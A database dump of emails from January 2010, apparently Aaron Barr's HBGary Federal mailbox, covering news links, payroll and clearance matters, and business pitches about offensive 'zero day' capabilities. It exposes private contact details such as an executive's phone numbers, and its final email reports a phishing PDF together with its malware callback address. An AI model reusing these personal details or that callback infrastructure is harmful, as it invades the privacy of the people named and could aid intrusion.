<adbarr@mac.com>','/aaron@hbgary.com/new/1297000259.M332801P3547Q1178.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.federalnewsradio.com/index.php?nid=19&sid=1865259\r\n\r\n\r\n From my iPhone\r\n',9807,'aaron_hbgary_com/9807.html'),(1179,'2010-01-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000259.M540419P3547Q1179.eml','\"Aaron Barr\" <aaron@hbgary.com>','@CNETNews, 1/15/10 6:42 PM','CNET News.com (@CNETNews)1/15/10 6:42 PMPDFmyURL.com turns any site into a PDF http://bit.ly/7eFIcxSent with TweetieFrom my iPhone\r\n',1764,'aaron_hbgary_com/1764.html'),(1180,'2010-01-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000259.M817161P3547Q1180.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.techcrunch.com/2010/01/15/mightymeeting-mobile-presentation/\r\n\r\n\r\n From my iPhone\r\n',5524,'aaron_hbgary_com/5524.html'),(1181,'2010-01-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000260.M58046P3547Q1181.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\nhttp://news.cnet.com/8301-13579_3-10436093-37.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\n\r\n From my iPhone\r\n',9403,'aaron_hbgary_com/9403.html'),(1182,'2010-01-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000269.M329833P3547Q1182.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,scott@hbgary.com','Rough Draft outline for RSA Talk','Team,\r\n \r\nThis is the rough outline I submitted to RSA.  I am hoping to really flesh this out w/ red meat before the March show.  I want to replace the link-analysis diagrams with actual Palantir screenshots.  I want to replace the mockup data with real data from an actual investigation that we run (Gh0stNET 2.0, or otherwise, - but something that is APT and fresh/original).\r\n\r\n \r\n-Greg\r\n',13414,'aaron_hbgary_com/13414.html'),(1183,'2010-01-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000269.M796935P3547Q1183.eml','\"Aaron Barr\" <aaron@hbgary.com>','China\'s attack on Google explained','China\'s attack on Google explainedElinor Mills explains what happened to Google, how it happened, who did it, and who else was affected.From my iPhone\r\n',10463,'aaron_hbgary_com/10463.html'),(1184,'2010-01-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000270.M268743P3547Q1185.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Training','Aaron,\r\nYes.  How much is the cost of the course? Is there one planned for DC\r\ncoming up?  I can combine travel to keep the costs down.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 13, 2010 8:18 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Training\r\n\r\nHey Brian,\r\n\r\nThere is a Responder training class Feb24-25.  Do you want to send some\r\nfolks?  Its in Sacramento.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8431,'aaron_hbgary_com/8431.html'),(1185,'2010-01-16','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000270.M27580P3547Q1184.eml','\"Aaron Barr\" <aaron@hbgary.com>','Code Used To Attack Google Now Public','Code Used To Attack Google Now Publicitwbennett writes \"The IE attack code used in last month\'s attack on Google and 33 other companies was submitted for analysis Thursday on the Wepawet malware analysis Web site. One day after being made publicly available, it had been included in at least one hacking tool and could be seen in online attacks, according to Dave Marcus, director of security research and communications at McAfee. Marcus noted that the attack is very reliable on IE 6 running on Windows XP, and could possibly be modified to work on newer versions of IE.\"Read more of this story at Slashdot.\r\n\r\nFrom my iPhone',7379,'aaron_hbgary_com/7379.html'),(1186,'2010-01-17','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000270.M446227P3547Q1186.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://mobile.computerworld.com/device/article.php?CALL_URL=http://www.computerworld.com/s/article/9145300/Google_finds_little_support_so_far_for_its_China_threat\r\n\r\n\r\n From my iPhone\r\n',14841,'aaron_hbgary_com/14841.html'),(1187,'2010-01-17','\"Twitter\" <twitter-confirmation-Aaron=HBGary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297000270.M646809P3547Q1187.eml','Aaron@HBGary.com','Twitter account confirmation','\r\n\r\n  \r\n  a { color: #0084B4}\r\n  a:hover { color: #215e88}\r\n  h1, h2 { margin: 0 0 16px 0; color: #000;}\r\n  h2 { font: 20px Georgia, serif; }\r\n  h3 { margin: 14px 0 4px 0;  color: #000; font: normal 18px Georgia, serif; line-height: 22px; }\r\n  p, ul { margin: 4px 0 15px 0; }\r\n  p { font:13px \'Lucida Grande\', Lucida Grande, Helvetica, Arial, sans-serif; line-height: 18px; }\r\n  .user:after { content: \".\"; display: block; height: 0; clear: both; visibility: hidden;   }\r\n  .user { {display: inline-block;}\r\n  \r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n    \r\n    \r\n      \r\n        \r\n          Hi, HBGaryFed\r\n\r\n\r\nTo confirm your Twitter account, please verify that this email address (Aaron@HBGary.com) belongs to you by clicking this link:\r\n\r\nhttp://twitter.com/account/confirm_email/HBGaryFed/EHC88-3D936\r\n\r\n\r\n\r\nThanks!\r\nThe Twitter Team\r\n\r\n\r\n\r\nWe ask you to confirm your account for security reasons. Learn more\r\n\r\n\r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n',4341,'aaron_hbgary_com/4341.html'),(1188,'2010-01-18','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000270.M868537P3547Q1188.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Work','Aaron,\r\nSorry that I did not get back to you.  Got back to playing daddy last\r\nweek so I ignored emails for the rest of the week.  Back to work now.  I\r\ngot requests out for who we know.  Will get back to you tomorrow. \r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 13, 2010 8:55 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Work\r\n\r\nHey,\r\n\r\nSo it was Col. Thomas French from Space Commands Intelligence\r\nDirectorate that was talking about Cyber based influence operations.  I\r\ntalked to him briefly about who to talk to about that and he said the\r\nA3.  Now which A3?  I would guess under the 24th AF or under AFISR.  Ted\r\nand I had talked to the AFISR folks when they used to be AIA and they\r\nwere looking in to full spectrum IO but were just in the planning stages\r\nat the time.\r\n\r\nI would think SOCOM would be a good group to talk to as well.\r\n\r\nMan if we can keep some of that team together.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10279,'aaron_hbgary_com/10279.html'),(1189,'2010-01-18','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000271.M232572P3547Q1190.eml','\"Aaron Barr\" <aaron@hbgary.com>','@ChinaSecurity, 1/17/10 10:33 PM','China Security (@ChinaSecurity)1/17/10 10:33 PMMcAfee: China attacks a \'watershed moment\' - CNET http://bit.ly/7zJ2Xz #china #securitySent with TweetieFrom my iPhone\r\n',5283,'aaron_hbgary_com/5283.html'),(1190,'2010-01-18','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000271.M436572P3547Q1191.eml','\"Aaron Barr\" <aaron@hbgary.com>','','http://www.businessinsider.com/iphone/index?a=google-china-employees-may-have-helped-chinese-government-hack-google-2010-1\r\n\r\n\r\n From my iPhone\r\n',14705,'aaron_hbgary_com/14705.html'),(1191,'2010-01-18','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000271.M44516P3547Q1189.eml','\"Aaron Barr\" <aaron@hbgary.com>','@indeforum, 1/17/10 11:08 PM','Independent Forum (@indeforum)1/17/10 11:08 PMThe next 5 stories you\'ll hear on China before the media covers them. http://bit.ly/7gl2kO #tcot #topprog #dems #teaparty #tlot #libertySent with TweetieFrom my iPhone',15462,'aaron_hbgary_com/15462.html'),(1192,'2010-01-18','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000271.M627866P3547Q1192.eml','\"Aaron Barr\" <aaron@hbgary.com>','ES Big Ideas','\r\n\r\n\r\n\r\n\r\nES Big Ideas\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJust getting back into it.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you have any thoughts on a sizeable investment that we could make to further develop an HBGary/Palantir capability?&nbsp; I have one in the works for network defense but am looking for others.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n',13219,'aaron_hbgary_com/13219.html'),(1193,'2010-01-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000271.M826965P3547Q1193.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: ES Big Ideas','Hey Brian,I the idea of a Threat Intelligence Center that works or should I say blurs the line between the two sides, offense and defense. &nbsp;I had a great conversation with a company called End Games last week. &nbsp;Have you heard of them? &nbsp;They have some significant capabilities on offense. &nbsp;They develop more inhouse zero days per year than anyone I have heard of. &nbsp;They also control some significant capabilities... I am not sure how actually they do some of the things they do but they have all the big customers. &nbsp;They are not in the services business, they only sell capabilities and subscriptions, so they are interested in partnering with HBGary Federal to work their capabilities on the services side. &nbsp;We are meeting with Netwitness next week to discuss the same thing.So no we have HBGary, Palantir, EndGames, Netwitness....all products/capabilities with Xetron/HBGary handling the services/deployment of these capabilities on site. &nbsp;If Xetron can fund much of the integration it would get us their much faster....all these other guys are small companies with great capability, and of course you know that HBGary Federal is a very small company with big ideas. &nbsp;I would like to partner tightly to you guys to help build my business.... sounds like a win win, eh?What I am talking about is basically putting together a cyber version of an intel service, very focused on APT. &nbsp;As was mentioned a few times at the AF cyber conference last week. &nbsp;Cybersecurity efforts made over the last year or so have greatly improved our security against average threats, but has done really nothing to protect against APT.Thoughts?AaronP.S. &nbsp;On the class, the Feb. class is the only one of its type. &nbsp;Maybe a DC class in March, have to check.Any status on the clearances? &nbsp;I can\'t remember, but were you going to be able to put us in for IC tickets as well?Another idea. &nbsp;What about building out some mobile capability. &nbsp;Maybe some mobile commercial capability? &nbsp;I have some ideas here.On Jan 18, 2010, at 1:58 PM, Masterson, Brian (Xetron) wrote:\r\n\r\nHey Aaron,Just getting back into it.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you have any thoughts on a sizeable investment that we could make to further develop an HBGary/Palantir capability?&nbsp; I have one in the works for network defense but am looking for others.BrianBrian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9731,'aaron_hbgary_com/9731.html'),(1194,'2010-01-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000272.M239662P3547Q1195.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: ES Big Ideas','Next step after them is talk to google, etc.From my iPhoneOn Jan 18, 2010, at 1:58 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJust getting back into it.  ES is looking for big ideas to fund for the year.   Do you have any thoughts on a sizeable investment that we could make to further develop an HBGary/Palantir capability?  I have one in the works for network defense but am looking for others.\r\n\r\n\r\nBrian\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n\r\n',3105,'aaron_hbgary_com/3105.html'),(1195,'2010-01-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000272.M41367P3547Q1194.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Pay 1/15','Hi Penny,\r\n\r\nEarly last week John requested our bank acct and routing info.  I\r\nthought he said our next paycheck would be direct deposited, but I\r\ncould have gotten that wrong.  It didn\'t hit my account, so I\'m\r\nwondering if you mailed us checks for 1/15?\r\n\r\nThanks,\r\nTed\r\n',14829,'aaron_hbgary_com/14829.html'),(1196,'2010-01-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000272.M429459P3547Q1196.eml','\"Ted Vera\" <ted@hbgary.com>,\"Brian Masterson\" <Brian.Masterson@ngc.com>','Our new slogan','Being the space-x for cyber intel\r\n\r\n From my iPhone\r\n',7822,'aaron_hbgary_com/7822.html'),(1197,'2010-01-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000272.M615231P3547Q1197.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Pay 1/15','Begin forwarded message:From: Penny Leavy &lt;penny@hbgary.com&gt;\r\nDate: January 18, 2010 2:47:49 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Pay 1/15\r\nbank account is NOT set up because operating agreement isn&#39;t set up.I&quot;m waiting for angela so I can deposite and we&#39;ll need new signaturesOn Mon, Jan 18, 2010 at 1:01 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Penny,Early last week John requested our bank acct and routing info.  I\r\nthought he said our next paycheck would be direct deposited, but Icould have gotten that wrong.  It didn&#39;t hit my account, so I&#39;m\r\nwondering if you mailed us checks for 1/15?Thanks,\r\nTed-- Penny C. LeavyHBGary, Inc.\r\n\r\n',10399,'aaron_hbgary_com/10399.html'),(1198,'2010-01-19','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000272.M782881P3547Q1198.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\nhttp://go.theregister.com/feed/www.theregister.co.uk/2010/01/18/booby_trapped_pdf_cyber_espionage/\r\n\r\n\r\n From my iPhone\r\n',12446,'aaron_hbgary_com/12446.html'),(1199,'2010-01-19','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000273.M116760P3547Q1199.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: PISA NSA Program','Aaron,I proposed this idea back in October.  Do you think it&#39;s worth us pursuing it?---------- Forwarded message ----------From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: Wed, Oct 14, 2009 at 3:59 PMSubject: PISA NSA ProgramTo: &quot;Penny C. Leavy&quot; &lt;penny@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\nCc: Bob Slapnik &lt;bob@hbgary.com&gt;Rich and Penny,I had dinner with my best friend last night who happens to be a branch chief at the CIA.  He would love to bring us in and talk about what we can do.  So I&#39;m working on that right now.  One issue is that we are not cleared to come in and talk about some interesting classified work.\r\n\r\nBut as a side note I have learned of the Provisional Industrial Security Approval (PISA) Sponsorship Program through my other friend&#39;s small business who is trying to become sponsored:http://www.nsa.gov/business/programs/pisa.shtml\r\n\r\nThis program could get a number of us NSA-level cleared for free essentially.  Then we can then come in and work on all kinds of projects.  We would need someone to sponsor us but I think with your contacts that would not be an issue.\r\n\r\nSo if you were not aware of the program it might be worth investigating.\r\n\r\n',2031,'aaron_hbgary_com/2031.html'),(1200,'2010-01-19','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000273.M348443P3547Q1200.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\nhttp://rss.slashdot.org/~r/Slashdot/slashdot/~3/IyGUCUPENhc/Whats-Holding-Back-Encryption\r\n\r\n\r\n From my iPhone\r\n',10589,'aaron_hbgary_com/10589.html'),(1201,'2010-01-19','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297000273.M553874P3547Q1201.eml','\"Aaron Barr\" <aaron@hbgary.com>','','\r\n\r\nhttp://rss.slashdot.org/~r/Slashdot/slashdot/~3/IXWV77vXFlY/Google-Investigating-Chinese-Employees\r\n\r\n\r\n From my iPhone\r\n',903,'aaron_hbgary_com/903.html'),(1202,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000273.M733445P3547Q1202.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: PISA NSA Program','Begin forwarded message:From: Phil Wallisch &lt;phil@hbgary.com&gt;Date: January 18, 2010 8:42:46 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Fwd: PISA NSA ProgramAaron,I proposed this idea back in October.&nbsp; Do you think it\'s worth us pursuing it?---------- Forwarded message ----------From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: Wed, Oct 14, 2009 at 3:59 PMSubject: PISA NSA ProgramTo: \"Penny C. Leavy\" &lt;penny@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\nCc: Bob Slapnik &lt;bob@hbgary.com&gt;Rich and Penny,I had dinner with my best friend last night who happens to be a branch chief at the CIA.&nbsp; He would love to bring us in and talk about what we can do.&nbsp; So I\'m working on that right now.&nbsp; One issue is that we are not cleared to come in and talk about some interesting classified work.\r\n\r\nBut as a side note I have learned of the Provisional Industrial Security Approval (PISA) Sponsorship Program through my other friend\'s small business who is trying to become sponsored:http://www.nsa.gov/business/programs/pisa.shtml\r\n\r\nThis program could get a number of us NSA-level cleared for free essentially.&nbsp; Then we can then come in and work on all kinds of projects.&nbsp; We would need someone to sponsor us but I think with your contacts that would not be an issue.\r\n\r\nSo if you were not aware of the program it might be worth investigating.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12253,'aaron_hbgary_com/12253.html'),(1203,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000273.M917501P3547Q1203.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Rough Draft outline for RSA Talk','Intent:  Don\'t forget assymetric warfare.  Its what the russians practiced in Georgia and Estonia.  Threat to powergrid, guidance systems, air traffic control, emergency response.\r\n\r\nRisk Intelligence:  Remember its not just about what is lost but about what is compromised.  If I am attacked during a critical mission, how can I continue to operate while compromised?  What are my backups, how can I communicate, disseminate, etc.\r\n\r\nThreat Intelligence:  Where to find information.  Open Source, Social Networks, linked to MULTI-INT (classified intelligence)\r\n\r\nAttribution Challenges.  Misattribution/Insecurity of the web (DNS, IP, etc), Lack of Inter and Intra government coordination, no policy/legal doctrine, \r\n\r\nCountries that have cyber capabilities: US, China, Russia, France, Israel (top 5)\r\nlesser tier: Iran, Pakistan, Japan, Brazil\r\n\r\nCountries that use tech to spy on their own:  Iran, Saudi Arabia, China...go to human rights watch there is some good data there...I will try and dig it up.\r\n\r\nok more to come...going to sleep now, almost 2am.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 16, 2010, at 2:11 PM, Greg Hoglund wrote:\r\n\r\n> Team,\r\n>  \r\n> This is the rough outline I submitted to RSA.  I am hoping to really flesh this out w/ red meat before the March show.  I want to replace the link-analysis diagrams with actual Palantir screenshots.  I want to replace the mockup data with real data from an actual investigation that we run (Gh0stNET 2.0, or otherwise, - but something that is APT and fresh/original).\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6407,'aaron_hbgary_com/6407.html'),(1204,'2010-01-19','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000274.M122926P3547Q1204.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ES Big Ideas','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHay Aaron,\r\n\r\nI have talked to End Game.&nbsp; We have an NDA in place and I need\r\nto go meet with them but I just have not had time.\r\n\r\nYou have a better understanding of the products at this point so\r\nI am relying on your analysis.&nbsp; How do you see these tools being integrated\r\ntogether?&nbsp; I can two money sources; Xetron NCTAs and going after sector\r\nmoney.&nbsp; There may be another one that I can capitalize on.&nbsp;&nbsp;\r\nJohn Jadik, our VP, had a consultant into Baltimore last week to discuss\r\ngrowth.&nbsp;&nbsp; I was not there but Bill was. &nbsp;He told me the\r\nconsultant told the attendees that Xetron should put all their resources into\r\ncyber as it is the only growth area within our portfolio.&nbsp; Now, John held\r\nback some NCTAs this year so if I could put a proposal to him I could possibly\r\nget the heldback NCTAs.\r\n\r\nSo, what do you see as the integration needs given price points\r\nof, say, 100-200K(6-12MM), 500K, 1M and 2M?&nbsp; I can turn on 100K tomorrow,\r\nor as soon as we can get the tools assembled.&nbsp; Also, I would like to get\r\nACT&amp;D&#8217;s Information geometry technology integrated to see if it can actually\r\ndo anything of benefit.\r\n\r\nI talked to Matt at Palantir yesterday.&nbsp; Their minimal\r\nlicense cost is several hundred K.&nbsp; That is pretty pricey.&nbsp; Would be\r\nnice if they had a lower-priced entry point but then, it only takes a few multi-mil\r\nlicenses to make the year for you.\r\n\r\nI am going to use our Cygnus program for your clearances.&nbsp;\r\nThe sell is that we are going to look at integrating HBGary products and\r\ntechnology into the base-end so we need your assistance and thus the clearance\r\nrequest.&nbsp; The Cygnus PM was out yesterday so I will talk to him today if\r\nhe is back.\r\n\r\nLet me know about the class in DC in March.&nbsp; If not, we&#8217;ll\r\ndo February.&nbsp; March may be too long to wait.\r\n\r\nOn the mobile side, what are you thinking?&nbsp; Brian Christos\r\nbrought me an opportunity for some mobile security work which I have some IRAD working\r\non.\r\n\r\n&nbsp;\r\n\r\nSo, can you through me slides on what you think can be done for\r\nthe price points and what you think these products will look like as a Threat\r\nIntelligence Center?\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 18, 2010 3:53 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: ES Big Ideas\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Brian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI the idea of a Threat Intelligence Center that works or\r\nshould I say blurs the line between the two sides, offense and defense. &nbsp;I\r\nhad a great conversation with a company called End Games last week. &nbsp;Have\r\nyou heard of them? &nbsp;They have some significant capabilities on offense.\r\n&nbsp;They develop more inhouse zero days per year than anyone I have heard of.\r\n&nbsp;They also control some significant capabilities... I am not sure how actually\r\nthey do some of the things they do but they have all the big customers.\r\n&nbsp;They are not in the services business, they only sell capabilities and\r\nsubscriptions, so they are interested in partnering with HBGary Federal to work\r\ntheir capabilities on the services side. &nbsp;We are meeting with Netwitness\r\nnext week to discuss the same thing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo no we have HBGary, Palantir, EndGames, Netwitness....all\r\nproducts/capabilities with Xetron/HBGary handling the services/deployment of\r\nthese capabilities on site. &nbsp;If Xetron can fund much of the integration it\r\nwould get us their much faster....all these other guys are small companies with\r\ngreat capability, and of course you know that HBGary Federal is a very small\r\ncompany with big ideas. &nbsp;I would like to partner tightly to you guys to\r\nhelp build my business.... sounds like a win win, eh?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat I am talking about is basically putting together a\r\ncyber version of an intel service, very focused on APT. &nbsp;As was mentioned\r\na few times at the AF cyber conference last week. &nbsp;Cybersecurity efforts\r\nmade over the last year or so have greatly improved our security against\r\naverage threats, but has done really nothing to protect against APT.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThoughts?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nP.S. &nbsp;On the class, the Feb. class is the only one of\r\nits type. &nbsp;Maybe a DC class in March, have to check.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny status on the clearances? &nbsp;I can\'t remember, but\r\nwere you going to be able to put us in for IC tickets as well?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnother idea. &nbsp;What about building out some mobile\r\ncapability. &nbsp;Maybe some mobile commercial capability? &nbsp;I have some\r\nideas here.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 18, 2010, at 1:58 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\nJust getting back into\r\nit.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you\r\nhave any thoughts on a sizeable investment that we could make to further\r\ndevelop an HBGary/Palantir capability?&nbsp; I have one in the works for\r\nnetwork defense but am looking for others.\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax:\r\n513-881-3543\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1889,'aaron_hbgary_com/1889.html'),(1205,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000274.M329627P3547Q1205.eml','\"John Farrell\" <john@endgames.us>,\"John Farrell\" <john@endgames.us>','Re: Endgames / HB Gary Federal','Hi John,\r\n\r\nWhat does your week look like, maybe we can find some time to get together.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n\r\n> John,\r\n> \r\n> I wanted to introduce you to Aaron Barr, the CEO of HBGary Federal.  This is a new company spun out of HB Gary focused on classified government services in our space.  Aaron may have an opportunity to work with us on a Cayman/Corsica data feed for the Army, as well as a few others.  Hopefully you guys can get together face to face soon in DC.\r\n> \r\n> Thanks,\r\n> \r\n> Chris\r\n> \r\n> --\r\n> Chris Rouland\r\n> CEO\r\n> Endgame Systems\r\n> chris@endgames.us\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7356,'aaron_hbgary_com/7356.html'),(1206,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000274.M509602P3547Q1206.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Targeted PDF attack - hit HBGary -','Hey Rich,If you have some time give me a call today. &nbsp;I would like to find out any information about this attack. &nbsp;I am guessing this is some variant of the attack that hit google, yahoo, Northrop, etc.AaronOn Jan 15, 2010, at 9:27 AM, Rich Cummings wrote:All,&nbsp;Penny received a fake purchase order from “GE”.&nbsp; Bob opened the PDF on his machine because he was expecting a purchase order from them.&nbsp; The PDF that we received will beacon back to China after the PDF is opened up and looked at.&nbsp; Below is where the PDF reaches out to get an update.&nbsp; 221.9.252.12/rbin/update.php&nbsp;I’m meeting Bob for lunch to image his machine with FDPro and Encase to gather all facts.&nbsp; Has anyone else opened the pdf? &nbsp;&nbsp;&nbsp;More to come.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inetnum:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0 - 221.9.255.255netname:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UNICOM-JLdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicom JILIN province networkdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicomcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNadmin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 